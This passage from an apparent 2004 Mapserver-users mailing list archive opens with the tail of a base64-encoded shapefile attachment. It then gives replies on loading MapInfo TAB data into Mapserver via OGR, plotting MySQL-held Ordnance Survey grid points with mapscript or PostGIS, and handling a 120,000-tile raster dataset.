cUb0OCR6nBI9joke50SPg6LHSdHjqOhxVvQ4LHqcFj2Oix7nRY8Do8eJ0ePI6HFm9Dg0epwa
PY6NHudGj4Ojx8nR4+jocXb0ODx6nB49jo8e50ePA6THCdLjCOlxhvQ4RHqcIj2OkR7nSI+D
pMdJ0uMo6XGW9DhMepwmPY6THudJjwOlx4nS40jpcab0OFR6nCo9jpUe50qPg6XHydLjaOlx
tvQ4XHqcLj2Olx7nS48DpscJ0+OI6XHG9DhkepwyPY6ZHudMj4Omx0nT46jpcdaDwjd8JeGi
S5k5veTvt1WUccGcNpdWkvWtWBCfcRzfH7V3vVcz7Fvo7X8Fx08wfcPdRlhNp+lUP463mW6M
5myyPZw3OsvhadPaXE5yfMp0UpLhLvuPAzxw2kiIjy/8SX32oQVw3t/loiz43pfQwyQPQbNN
alACPqrQwkH+nmtN366/ON8jWjzPZsEZG+Z7lsPHuCWHyO9Ygj5N896Ab194GMQL++2ODfOA
FZoSdpLlypLfy7fDhR0OkzNhHq6V7avhuhqnhxxwZV7x7nxcjzdyhyRJnhhHYpbkIdhe7eDY
fFgnYgPfWpibeUeCHO/IvI1DQ7je9RS6P5Dc5EGPnOAc+ILN0AmSzxArF9W3Dj659OtTkl82
vkdQaTl8aIWKG8lfOCHgvUYGLkiLfUp+FyOqfmBFzRpcvxyciiRvoeOT25QJHORauZL8jubd
04P9C+DFjYfYST4DnWtM5x7Tuch0bjKdq0znLtO5zHRuM53rTOc+07nQdG40nStN507TudR0
bjWda03nXtO52HRuNp2rTedu07ncdG43netN537TueB0bjidK07njtO55HRuOZ1rTuee07no
dG46natO567Tuex0bjud607nvuu584ayUD5VCr7iR36HpZP68uVGeL7By1kkfzBkN/+aepR3
j81wmU1y7VubVFVOweqph83mw7Vsvi5asNKbKnducr7K/y5TgLXE1W5zwNsEZeykYNbzijyS
V/E8xb7tIcrXhjfCW0k+hXd57rFklL9rjSe9u8jvsixPreSAzxqub2qAB9KCLaNRfn9zN/8w
cePFcqkIOLKuLoPk/tuJJfVGwgObZWXIPAKzfm3aRsr/n2eqyr2DFxz202iH2fS/qJbC/7z5
g7ix/kqhmXOIg5baD0nDCXm6neR3XgFbFTfHwf/0AjrJPAW/MjpC2uH1xyrD38CBnf/OiGD7
F/LU3C0mn5fUspaGT34vdyf5Gf6Hz3PIwhyeX7c+h9Ur3dpWwUOWVdF5cMUJ5U9r4QpGSGsW
bKo1NqwKX247uYTkSZ49eTPImvz9wLGFj+HQ6QtyV+DQdwY8abCJ5NX8Z/CJ5HXPHsHlXrdl
xuD2MtY5Yk8TPhsGjnf+kcwp4oaLmss3wEuWHxIkf/9gqnCvBszmEaBM8jz+LiqNUIf52vW7
UuGsp8eWyMDvYpYfI7+TW7D/fPxfrL8w2FcjEF7b/3rxN9h/2OeTN/yY62RdNexRt27nXtjp
6rOlJK+6flS+fxvsE7G9ih/+mJp7keRvnEjWLErE+bh34iT/bFiqcFfgmBDKry171470GLEM
ahS+i8IdvgvuNcNhShvYfqK+N7dZsKQGXlb6PegabCn1xLYUXvov8JEhvPTWJ6UHMGfwtVVi
MBvvsZY4kqcwcEOMCx4QcE6/TvIjQuJ9elC//Fx9Iv8KHD1SLh0Er6ydNXme5EWsqtNaBl/x
jegheRQmb9Y3TaK+uoX9z4eTJA/CVSZkAu4cCbI7CivWHuDshzv+LZJ3gbUXqPW1weyrHkc7
wDZu1xbWwYvYy18dgPlfWSmXwLcD5UZJfoR7ZzQjiZ/kTdz3MPp/5D3QeRB0XgSdJ0HnTdB5
FHReBZ1nQedd/N95GP9nXgadp0HnbdB5HHReB53nQed90HkgdF4InSdC543QeSR0XgmdZ0Ln
ndB5KHReCp2nQuet0HksdF4LnedC573QeTB0XgydJ0PnzdB5NHReDZ1nQ+fd0Hk4dF4OnadD
5+3QeTx0Xg+d50Pn/dB5QHReEJ0nROcN0XlEdF4RnWdE5x3ReUh0XhKdp0TnLdF5THReE53n
ROc90XlQdF4UnSdF503ReVR0XhWdZ0XnXdF5WHReFp2nRedt0XlcdF4XnedF533ReWB0Xhid
JyZD5Y3ReWR0XhmdZ0bnndF5aHReGp2nRuet0XlsdF4bnedG573ReXB0XhydJ0fnzdF5dHRe
HZ1nR+fd0Xl4dF4enadH5+3ReXx0Xh+d50fn/dF5gHReIJ0nSOcN0nmEdF4hnWdI5x3SeYh0
XiKdp0jnLdJ5jHReI53nSOc90nmQdF4knSdJ503SeZR0XiWdZ0nnXdJ5mHReJp2nSedt0nmc
dF4nnedJ533SeaB0XiidJ0rnjdJ5pHReKZ1nSued0nmodF4qnadK563Seax0Xiud50rnvdJ5
sHReLJ0nS+fN0nm0dF4tnWdL593Sebh0Xi6dp0vn7dJ5vHReL53nS+f90nnAdF4wnSdM5w3T
ecR0XjGdZ0znHdN5yHReMp2nTOct03nMdF4znedM5z3TedB0XjSdJ03nTdN51HReNZ1nTedd
03nYdF42nadN523Tedx0Xjed503nfdN54HReOJ0nTueN03nkdF45nWdO553Teeh0Xjqdp07n
rdN57HReO53nTue903nwdF48nSdP583TefR0Xj2dZ0/n3dN5+HRePp2nT+ft03n8dF4/nedP
5/3T8wHQ8wXQ8wnQ8w3Q8xHQ8xXQ8xnQ8x3Q8yHQ8yXQ8ynQ8y3Q8zHQ8zXQ8znQ8z3Q80HQ
80XQ80nQ803Q81HQ81XQ81nQ813Q82HQ82XQ82nQ823Q83HQ83XQ83nQ833Q84HQ84XQ84nQ
843Q85HQ85XQ85nQ853Q86HQ86XQ86nQ863Q87HQ87XQ87nQ873Q88HQ88XQ88nQ883Q89HQ
89XQ89nQ893Q8+HQ8+XQ8+nQ8+3Q8/HQ8/XQ8/nQ8/3Q8wHR8wXR8wnR8w3R8xHR8xXR8xnR
8x3R8yHR8yUpSImUDMMbtDZKqMISs3P2vYD150vsFYdf2gV2bIRLY2xPc8LOKepPJcn23f3c
PRvebuw80IvjtfDw5cFJMl9UO6O9GN56pa14DN4+sqXmOjw/KfXrd/jbyNVz07geTJsCrV/C
QY90DcnvvxTW+famwFa8tZWqZLmL2qZrZL6ogR2zF8Op3ikJwXCi+sF2XvjZ3rgXZP6pu6vX
qbLDo27jb/zg1jnLTMjnk+pOV58l68vWWl2P63WB9qc5R+HnitlOubDwWQdhe3h/1chAFvxs
XNJvH7zKcVPNMThvV04qmc/S6eqT8iNwvoHpCJnPcrDw41pbuNFhyZA2/OQ666QZrPz8vfUm
OPMhf7k4bLpl8StZWLAtTHcZLK/8I2E5LKK84vHnnyg/8A9EEnNbqfI+hzOebgglPso1Mes+
LFIrdHQevOylYqsNrK71pW4mzOyRMtgErzC9yk3mx2zcLRsw+APvx20xiwdg/gXGmz/CvE3i
Pt+6SI6WtUMZvPCaXFEr+bzaoTNe8APvhZ+r4f6ca7/Wwjs+GcW/hYc35ZxsHUb5KYRtzhsy
n1qjkMxD+KPsFq3n8Hvuurk34bi7tiZZsHyt2iV7OHKiQO8+rHRVxOkgrDa35Nktsv5NR2WW
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
cBR6Tp73sXvJ7xvWyjn+3Qa7XuwSy4Jt4swaB/D5qhVBp5/Be7a/Y6hg+RbP4XUVpP3vZXai
I3x8c7T8AByRL3I0HDY686NxGA5ZuGZZNGx8qqKS/H7DWSHvwAA8UGB2bsYAyk9CvdbVLxis
v9X3xLngJKsXJQy8v8enJgbI7z+KJAt59sCdmh0vyO9D0uf8i3OAy3wVri2Bd4V81l4KS6/e
pkzmbfibmhyzENYPuai7Cq4p72JIwa+932UqwlePVxXvgjnLN1urwoahE6V+8NPk45zbYc23
X8UuwM+Pv+A2gYftFfWj4LGrO7ZbwXt1lfUqYN2kkJUHiTX03wm8xPW/gjPPGbbZ1Ci2Dlb3
eHr8OHw66mKgApwbfqvOH+YMy3qtDntZPHULhacXSUxZwoXZR3dcg4XX+Sb4wO53H8THk9/D
cOw9dAM2cN/S+QC+pz36rxS+klorVQT7eUf9nvEK5c/8ru46uONJ7k1FOESlbU0HLOXEx/CC
Tyw7s28APpS4+fETWMOnm/83PFmv++w37OCbZcQ1iPedjBZTtJjBqnSzKuSFWzVvnr0D781y
fLgMtlvgYbP8Ncqfb0uMye+dnOT0QwVQ/pJdqvR0OWyb8sBfE/7YuKeVODwqep8HfD6/sUKS
rI/HyDIdNqsR714Jj9ftzFmH8pzb9tVfye+99lkdOtEM79r7QFyD/D6LuchEFeU/r+QY+e3w
xQkXX3+UL9VM97y4QdZ39aREFPy3QaSI/N5Od+BDUCbM/b392m04S+zZ6yUoz67ImZeWCWv7
54dth7fMX34pH3Z1vjzbBOXjKl2FePL7whKPat8PKH9nBHC9XTeE60v5jvVNlN9r2+4n7Ybf
xDjtn0D5XeWat5szfG/ux8lfWC5fVZx7CuZxVWOKoPyvPvsLTyz8J+bk/Ggs1yvedvMxzDj8
KuoP/t5N0v5+OWzhFZW6E2bZuWzsg1NWq/w6gu8fnVTnFhlG/WFDNXMC5f2vF0sPsWC7Vzap
5XC4v+EVS5g/8NT8GPihWMq4G5m3pi38qxhc4Bu7OAyuEF31Xgz7t9vfemUOHGL09fowjo9q
wvX3rfCSWZ9ZO+EU5jf+MXjsVQlzBOXzr5FDjovJ72G/Xd0+ALPlJXJKwdIdVSPD8LrZcgfk
4NbPRW9XlZHyckqUKvw8LZstGdaxfSOmC1/4dURygCyf43qVzCOU/F7svgiOP+eZzKX7YDtl
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
--------------040506040608060007010800--



From flavio at tydac.ch  Wed Jan 14 02:52:10 2004
From: flavio at tydac.ch (Flavio Hendry)
Date: Wed, 14 Jan 2004 11:52:10 +0100
Subject: [Mapserver-users] MapInfo to Mapserver with additional data
 from MySQL
In-Reply-To: <0E2E03F75CEFD61195A200B0D07841911875D3@dns.cyber-media.co.uk>
References: <0E2E03F75CEFD61195A200B0D07841911875D3@dns.cyber-media.co.uk>
Message-ID: 

Hi Roland
> 1. We need to be able to take the maps from MapInfo and get them into
> a format that can be handled by Mapserver.  Is this possible, and if
> so, what is the best way to do it?

You can directly use the MapInfo Format via OGR.

MAP-File Snippet:
LAYER
	NAME "waedenswil_poi"
	TYPE POINT
	MINSCALE 0
	MAXSCALE 2000
	SYMBOLSCALE 4000
	STATUS OFF #OFF
	CONNECTIONTYPE OGR
	CONNECTION "..\data\poi\waedenswil_poi.TAB"
		CLASS
			COLOR 255 0 0
			TEMPLATE ttt.htm
		END # Class section
END

> 2. We need to be able to plot OS Grid Points stored in the MySQL
> database onto the maps when they are produced in MapServer.  (Is it 
> possible to do this, or does map server only display data from the 
> MapInfo export?)

you should be able to create the point from MySQL ...
 
> Will it be possible to achieve the required solution with the
> technology available? 

definitely ...

Kind regards,
Flavio



From hrz at geodata.soton.ac.uk  Wed Jan 14 03:37:52 2004
From: hrz at geodata.soton.ac.uk (Homme Zwaagstra)
Date: Wed, 14 Jan 2004 11:37:52 +0000 (GMT)
Subject: [Mapserver-users] MapInfo to Mapserver with additional data from MySQL
In-Reply-To: <0E2E03F75CEFD61195A200B0D07841911875D3@dns.cyber-media.co.uk> from "Roland Corbet" at Jan 14, 2004 10:27:24 AM
Message-ID: <200401141137.i0EBbq615592@betsy.geodata.soton.ac.uk>

> I am new to the GIS/Mapping field and am researching solutions for a project
> that requires a map-based navigation system to display UK Ordnance Survey
> (OS) grid points on top of maps that originate from MapInfo.

We have built a similar system using OS data but using Mapserver
3.5; my points may not apply to Mapserver 4...

> 
> I downloaded and installed Mapserver with PHP/Mapscript and was impressed by
> the demo set-ups.
> 
> >From what I have read so far, my instinct is that the solution we need is
> achievable using Mapserver.  However, before I spend time in getting to know
> Mapserver and Mapscript in detail, could someone tell me if what I am aiming
> to achieve is possible with the combination of technology that we have
> below, please?

This is achievable. 

> 
> Technology Available:
> 
> 1. MySQL 4.0 (Containing OS Grid points for locations that need to be
> plotted).
> 2. MapInfo  (Contains the map with several different boundary types defined
> - forests, parishes, counties etc.)  The maps are at two scales (1:25,000
> and 1:10,000).
> 3. Mapserver/Mapscript/PHP
> 4. PHP (latest version)
> 5. Apache running on Red Hat Linux 7.2
> 
> 
> System to be developed:
> 
> 1. We need to be able to take the maps from MapInfo and get them into a
> format that can be handled by Mapserver.  Is this possible, and if so, what
> is the best way to do it?

If this data is in vector form then you can use the TAB files directly
in mapserver (through the GDAL OGR driver). I don't think this is the
case with mapinfo rasters; you'd have to convert them to a
georeferenced TIFF or another raster format supported by GDAL.

> 
> 2. We need to be able to plot OS Grid Points stored in the MySQL database
> onto the maps when they are produced in MapServer.  (Is it possible to do
> this, or does map server only display data from the MapInfo export?)

If using MySQL I believe you'll have to use mapscript to extract the
points from the database, convert these points to relative image
coordinates and draw each point onto the image. If you have data in a
different projection to the map projection you will have to reproject
the point data before drawing it.  MySQL 4.1 includes some interesting
support for OpenGIS
(http://www.mysql.com/doc/en/Spatial_extensions_in_MySQL.html) but I
don't think this is accessible from Mapserver yet. PostgreSQL,
however, when spatially enabled using the PostGIS extension can be
used directly as a datasource for Mapserver. This saves the hassle
currently involved with MySQL and points and is well worth a look.

> 
> 3. The user of the web application will then be able to browse the map and
> click on a point that has been plotted against an OSGR and be taken to the
> full details of that location.
> 

This will use mapscript again. If you use a valid datasource
(e.g. PostGIS) you can use the querying functions of Mapserver to
detect whether a point has been clicked on and retrieve associated
attributes. Otherwise I think you'd have to reverse the procedure in
step 2.

> 
> Will it be possible to achieve the required solution with the technology
> available?  If so, any advice/tips/tutorials to assist with achieving the
> solution would be greatly appreciated.
> 
> Thank you in anticipation of your time and help.
> 
> Kind regards,
> 
> Roland


From ed at topozone.com  Wed Jan 14 05:19:15 2004
From: ed at topozone.com (Ed McNierney)
Date: Wed, 14 Jan 2004 08:19:15 -0500
Subject: [Mapserver-users] Dataset with 120'000 tiles
Message-ID: <13858AA1A74F30419F319ACB66A9D12203B07B@mercator.topozone.com>

Flavio -

We use larger tiled sets every day.  There's no particular problem with
them.  Just remember you're trying to quickly discard all the data you
won't need, so be sure to create a shptree index for the tileindex file.

	- Ed

Ed McNierney
President and Chief Mapmaker
TopoZone.com
-----Original Message-----
From: Flavio Hendry [mailto:flavio at tydac.ch] 
Sent: Wednesday, January 14, 2004 1:49 AM
To: mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] Dataset with 120'000 tiles

hi list

anybody worked with such a dataset (120'000 raster tiles) ? 
are there any performance issues ?

thx.

Mit freundlichem Gruss / Best Regards
Flavio Hendry

----------------------------------------------------------------
++++++++++ Neue Neapoljs Seiten auf www.neapoljs.com +++++++++++
